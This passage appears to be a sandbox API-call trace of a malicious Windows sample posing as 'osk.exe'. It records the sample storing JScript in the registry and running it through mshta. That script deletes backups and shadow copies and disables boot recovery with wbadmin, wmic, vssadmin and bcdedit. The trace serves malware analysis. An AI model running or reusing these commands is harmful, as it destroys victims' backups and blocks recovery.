(hMem=0x44000c) returned 0x51e668 [0028.720] GlobalLock (hMem=0x440004) returned 0x520678 [0028.720] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.720] GlobalUnlock (hMem=0x44000c) returned 0 [0028.720] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.720] GlobalUnlock (hMem=0x440004) returned 0 [0028.720] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.720] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.721] GlobalUnlock (hMem=0x440004) returned 0 [0028.721] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.721] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.721] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.721] GlobalUnlock (hMem=0x440004) returned 0 [0028.721] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.721] GlobalUnlock (hMem=0x44000c) returned 0 [0028.721] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.721] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.721] GlobalUnlock (hMem=0x44000c) returned 0 [0028.721] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.721] GlobalLock (hMem=0x440004) returned 0x520678 [0028.721] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.721] GlobalUnlock (hMem=0x44000c) returned 0 [0028.721] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.721] GlobalUnlock (hMem=0x440004) returned 0 [0028.721] SHGetMalloc (in: ppMalloc=0x18fd40 | out: ppMalloc=0x18fd40*=0x764066bc) returned 0x0 [0028.722] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x18fd3c | out: ppidl=0x18fd3c) returned 0x0 [0028.782] SHGetPathFromIDListW (in: pidl=0x527f20, pszPath=0x54742c | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0028.783] SysReAllocStringLen (in: pbstr=0x18fd68*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x18fd68*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0028.783] IMalloc:Free (This=0x764066bc, pv=0x527f20) [0028.783] IUnknown:AddRef (This=0x764066bc) returned 0x1 [0028.783] SysReAllocStringLen (in: pbstr=0x437208*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x437208*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0028.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e698b8, cbMultiByte=7, lpWideCharStr=0x18ed3c, cchWideChar=2047 | out: lpWideCharStr="osk.exe\x18ㅬ畱\x18㹕畱廁R\x18") returned 7 [0028.784] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\" " [0028.786] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\" " [0028.788] GlobalLock (hMem=0x440004) returned 0x51f100 [0028.788] GlobalHandle (pMem=0x51f100) returned 0x440004 [0028.788] GlobalUnlock (hMem=0x440004) returned 0 [0028.788] GlobalLock (hMem=0x440004) returned 0x51f100 [0028.789] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.789] GlobalHandle (pMem=0x51f100) returned 0x440004 [0028.789] GlobalUnlock (hMem=0x440004) returned 0 [0028.789] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.789] GlobalUnlock (hMem=0x44000c) returned 0 [0028.789] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.789] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.789] GlobalUnlock (hMem=0x44000c) returned 0 [0028.789] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.789] GlobalLock (hMem=0x440004) returned 0x51f100 [0028.789] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.789] GlobalUnlock (hMem=0x44000c) returned 0 [0028.789] GlobalHandle (pMem=0x51f100) returned 0x440004 [0028.789] GlobalUnlock (hMem=0x440004) returned 0 [0028.789] GlobalLock (hMem=0x440004) returned 0x548530 [0028.789] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.789] GlobalUnlock (hMem=0x440004) returned 0 [0028.789] GlobalLock (hMem=0x440004) returned 0x548530 [0028.789] GlobalLock (hMem=0x44000c) returned 0x51f100 [0028.789] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.789] GlobalUnlock (hMem=0x440004) returned 0 [0028.789] GlobalHandle (pMem=0x51f100) returned 0x44000c [0028.789] GlobalUnlock (hMem=0x44000c) returned 0 [0028.789] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\qhwVf", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fe0c | out: phkResult=0x18fe0c*=0x0) returned 0x2 [0028.790] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFindFileData=0x18fbd0 | out: lpFindFileData=0x18fbd0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36de9da0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x37214420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x7734e36c, dwReserved1=0x7758a6da, cFileName="osk.exe", cAlternateFileName="")) returned 0x522d20 [0028.790] FileTimeToLocalFileTime (in: lpFileTime=0x18fbe4, lpLocalFileTime=0x18fb64 | out: lpLocalFileTime=0x18fb64) returned 1 [0028.790] FileTimeToDosDateTime (in: lpFileTime=0x18fb64, lpFatDate=0x18fbb2, lpFatTime=0x18fbb0 | out: lpFatDate=0x18fbb2, lpFatTime=0x18fbb0) returned 1 [0028.790] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0028.790] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFindFileData=0x18fbd0 | out: lpFindFileData=0x18fbd0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36de9da0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x37214420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x7734e36c, dwReserved1=0x7758a6da, cFileName="osk.exe", cAlternateFileName="")) returned 0x522d20 [0028.790] FileTimeToLocalFileTime (in: lpFileTime=0x18fbe4, lpLocalFileTime=0x18fb64 | out: lpLocalFileTime=0x18fb64) returned 1 [0028.790] FileTimeToDosDateTime (in: lpFileTime=0x18fb64, lpFatDate=0x18fbb2, lpFatTime=0x18fbb0 | out: lpFatDate=0x18fbb2, lpFatTime=0x18fbb0) returned 1 [0028.790] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0028.790] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0 [0028.790] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.790] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.791] GlobalUnlock (hMem=0x44000c) returned 0 [0028.791] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.791] GlobalLock (hMem=0x440004) returned 0x51f100 [0028.791] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.791] GlobalUnlock (hMem=0x44000c) returned 0 [0028.791] GlobalHandle (pMem=0x51f100) returned 0x440004 [0028.791] GlobalUnlock (hMem=0x440004) returned 0 [0028.791] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="qhwVf") returned 0xe4 [0028.791] GetLastError () returned 0x0 [0028.791] GlobalLock (hMem=0x440004) returned 0x548530 [0028.791] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.791] GlobalUnlock (hMem=0x440004) returned 0 [0028.791] GlobalLock (hMem=0x440004) returned 0x548530 [0028.791] GlobalLock (hMem=0x44000c) returned 0x51f100 [0028.791] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.791] GlobalUnlock (hMem=0x440004) returned 0 [0028.791] GlobalHandle (pMem=0x51f100) returned 0x44000c [0028.791] GlobalUnlock (hMem=0x44000c) returned 0 [0028.791] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.791] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.791] GlobalUnlock (hMem=0x44000c) returned 0 [0028.791] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.791] GlobalLock (hMem=0x440004) returned 0x51f100 [0028.791] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.791] GlobalUnlock (hMem=0x44000c) returned 0 [0028.791] GlobalHandle (pMem=0x51f100) returned 0x440004 [0028.791] GlobalUnlock (hMem=0x440004) returned 0 [0028.791] GlobalLock (hMem=0x440004) returned 0x548530 [0028.792] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.792] GlobalUnlock (hMem=0x440004) returned 0 [0028.792] GlobalLock (hMem=0x440004) returned 0x548530 [0028.792] GlobalLock (hMem=0x44000c) returned 0x51f100 [0028.792] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.792] GlobalUnlock (hMem=0x440004) returned 0 [0028.792] GlobalHandle (pMem=0x51f100) returned 0x44000c [0028.792] GlobalUnlock (hMem=0x44000c) returned 0 [0028.792] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdd4 | out: lpPerformanceCount=0x18fdd4*=17055805091) returned 1 [0028.792] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdd4 | out: lpPerformanceCount=0x18fdd4*=17055817683) returned 1 [0028.792] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.792] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.792] GlobalUnlock (hMem=0x44000c) returned 0 [0028.792] GlobalLock (hMem=0x44000c) returned 0x548530 [0028.792] GlobalLock (hMem=0x440004) returned 0x51f100 [0028.792] GlobalHandle (pMem=0x548530) returned 0x44000c [0028.792] GlobalUnlock (hMem=0x44000c) returned 0 [0028.792] GlobalHandle (pMem=0x51f100) returned 0x440004 [0028.792] GlobalUnlock (hMem=0x440004) returned 0 [0028.792] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\HRHLN", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18fdb4, lpdwDisposition=0x18fdb8 | out: phkResult=0x18fdb4*=0xe8, lpdwDisposition=0x18fdb8*=0x1) returned 0x0 [0028.793] RegSetValueExA (in: hKey=0xe8, lpValueName="LWXEJ", Reserved=0x0, dwType=0x1, lpData="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);", cbData=0x164 | out: lpData="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);") returned 0x0 [0028.793] RegCloseKey (hKey=0xe8) returned 0x0 [0028.793] GlobalLock (hMem=0x440004) returned 0x548530 [0028.793] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.793] GlobalUnlock (hMem=0x440004) returned 0 [0028.793] GlobalLock (hMem=0x440004) returned 0x548530 [0028.793] GlobalLock (hMem=0x44000c) returned 0x51f100 [0028.793] GlobalHandle (pMem=0x548530) returned 0x440004 [0028.793] GlobalUnlock (hMem=0x440004) returned 0 [0028.793] GlobalHandle (pMem=0x51f100) returned 0x44000c [0028.793] GlobalUnlock (hMem=0x44000c) returned 0 [0028.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e0cda8, cbMultiByte=104, lpWideCharStr=0x18ede8, cchWideChar=2047 | out: lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"Ű") returned 104 [0028.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e428f8, cbMultiByte=5, lpWideCharStr=0x18ede4, cchWideChar=2047 | out: lpWideCharStr="HRHLNta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"Ű") returned 5 [0028.794] SysReAllocStringLen (in: pbstr=0x18fde0*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"", len=0x68 | out: pbstr=0x18fde0*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"") returned 1 [0028.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"", cchWideChar=104, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"e", lpUsedDefaultChar=0x0) returned 104 [0028.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\\\\!$));close();\"", cchWideChar=16, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\\\!$));close();\"cript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"e", lpUsedDefaultChar=0x0) returned 16 [0028.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.794] SysReAllocStringLen (in: pbstr=0x18fe2c*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"", len=0x6c | out: pbstr=0x18fe2c*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"") returned 1 [0028.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"", cchWideChar=108, lpMultiByteStr=0x18edec, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"e", lpUsedDefaultChar=0x0) returned 108 [0028.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e140d8, cbMultiByte=108, lpWideCharStr=0x18ede8, cchWideChar=2047 | out: lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"表T隸異-") returned 108 [0028.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42938, cbMultiByte=5, lpWideCharStr=0x18ede4, cchWideChar=2047 | out: lpWideCharStr="LWXEJta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"表T隸異-") returned 5 [0028.794] SysReAllocStringLen (in: pbstr=0x18fde0*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"", len=0x6c | out: pbstr=0x18fde0*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"") returned 1 [0028.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"", cchWideChar=108, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"a", lpUsedDefaultChar=0x0) returned 108 [0028.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$));close();\"", cchWideChar=13, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$));close();\"vascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\!$));close();\"a", lpUsedDefaultChar=0x0) returned 13 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.795] SysReAllocStringLen (in: pbstr=0x18fe20*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"", len=0x70 | out: pbstr=0x18fe20*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"") returned 1 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"", cchWideChar=112, lpMultiByteStr=0x18edec, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"l", lpUsedDefaultChar=0x0) returned 112 [0028.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e14158, cbMultiByte=112, lpWideCharStr=0x18ede8, cchWideChar=2047 | out: lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"-") returned 112 [0028.795] SysReAllocStringLen (in: pbstr=0x18fde0*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"", len=0x70 | out: pbstr=0x18fde0*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"") returned 1 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"", cchWideChar=112, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"(", lpUsedDefaultChar=0x0) returned 112 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"", cchWideChar=66, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WScript.Shell$).RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"ead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"(", lpUsedDefaultChar=0x0) returned 66 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=").RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"", cchWideChar=52, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=").RegRead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"J$));close();\"ead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"(", lpUsedDefaultChar=0x0) returned 52 [0028.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"", cchWideChar=41, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\");close();\"J$));close();\"ead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"(", lpUsedDefaultChar=0x0) returned 41 [0028.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="));close();\"", cchWideChar=12, lpMultiByteStr=0x18edac, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="));close();\"re\\\\HRHLN\\\\LWXEJ$));close();\");close();\"J$));close();\"ead($HKCU\\\\Software\\\\HRHLN\\\\LWXEJ$));close();\"(", lpUsedDefaultChar=0x0) returned 12 [0028.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x18eda8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$ý\x18", lpUsedDefaultChar=0x0) returned 1 [0028.796] SysReAllocStringLen (in: pbstr=0x18fe14*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"", len=0x70 | out: pbstr=0x18fe14*="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"") returned 1 [0028.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"", cchWideChar=112, lpMultiByteStr=0x18edec, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"l", lpUsedDefaultChar=0x0) returned 112 [0028.796] WinExec (lpCmdLine="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();\"", uCmdShow=0x0) returned 0x21 [0033.559] Sleep (dwMilliseconds=0x1f4) [0034.177] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20006, phkResult=0x18fdec | out: phkResult=0x18fdec*=0xe8) returned 0x0 [0034.177] RegDeleteKeyA (hKey=0xe8, lpSubKey="HRHLN") returned 0x0 [0034.177] RegCloseKey (hKey=0xe8) returned 0x0 [0034.178] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.178] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.178] GlobalUnlock (hMem=0x44000c) returned 0 [0034.178] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.178] GlobalLock (hMem=0x440004) returned 0x51f100 [0034.178] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.178] GlobalUnlock (hMem=0x44000c) returned 0 [0034.179] GlobalHandle (pMem=0x51f100) returned 0x440004 [0034.179] GlobalUnlock (hMem=0x440004) returned 0 [0034.179] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.179] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.179] GlobalUnlock (hMem=0x440004) returned 0 [0034.179] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.179] GlobalLock (hMem=0x44000c) returned 0x51f100 [0034.179] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.179] GlobalUnlock (hMem=0x440004) returned 0 [0034.179] GlobalHandle (pMem=0x51f100) returned 0x44000c [0034.179] GlobalUnlock (hMem=0x44000c) returned 0 [0034.179] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.179] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.179] GlobalUnlock (hMem=0x44000c) returned 0 [0034.179] GlobalLock (hMem=0x44000c) returned 0x54c960 [0034.179] GlobalLock (hMem=0x440004) returned 0x51f100 [0034.179] GlobalHandle (pMem=0x54c960) returned 0x44000c [0034.179] GlobalUnlock (hMem=0x44000c) returned 0 [0034.179] GlobalHandle (pMem=0x51f100) returned 0x440004 [0034.179] GlobalUnlock (hMem=0x440004) returned 0 [0034.179] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\qhwVf", ulOptions=0x0, samDesired=0x20006, phkResult=0x18fd54 | out: phkResult=0x18fd54*=0x0) returned 0x2 [0034.179] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.179] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.179] GlobalUnlock (hMem=0x440004) returned 0 [0034.179] GlobalLock (hMem=0x440004) returned 0x54c960 [0034.179] GlobalLock (hMem=0x44000c) returned 0x51f100 [0034.180] GlobalHandle (pMem=0x54c960) returned 0x440004 [0034.180] GlobalUnlock (hMem=0x440004) returned 0 [0034.180] GlobalHandle (pMem=0x51f100) returned 0x44000c [0034.180] GlobalUnlock (hMem=0x44000c) returned 0 [0034.183] QueryPerformanceCounter (in: lpPerformanceCount=0x18fd08 | out: lpPerformanceCount=0x18fd08*=17594898149) returned 1 [0034.183] QueryPerformanceCounter (in: lpPerformanceCount=0x18fd00 | out: lpPerformanceCount=0x18fd00*=17594904364) returned 1 [0034.183] QueryPerformanceCounter (in: lpPerformanceCount=0x18fcf8 | out: 